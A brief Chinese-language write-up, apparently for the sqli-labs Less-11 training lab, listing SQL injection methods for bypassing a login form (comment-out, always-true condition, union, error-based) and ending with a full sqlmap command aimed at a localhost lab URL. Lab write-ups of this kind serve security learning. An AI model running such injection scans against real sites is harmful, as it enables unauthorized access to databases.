门户网站开发平台中国国家培训网

分析源码，可以使用联合注入、报错注入等

方法1：注释掉passwd登录

方法2：闭合后面的语句加一个全真条件

方法3：联合注入

方法4：报错注入

方法5：sqlmap

将bp拦截的流量内容保存至test.txt文件中，再使用sqlmap进行扫描

这里可以使用test.txt文件扫描，也可以使用--data进行指定参数扫描

sqlmap -u "http://localhost/sqlilabs/Less-11/" --data="uname=admin&passwd=1&submit=Submit" -p="uname" --dbms=MySQL --random-agent --flush-session --technique=U -v 3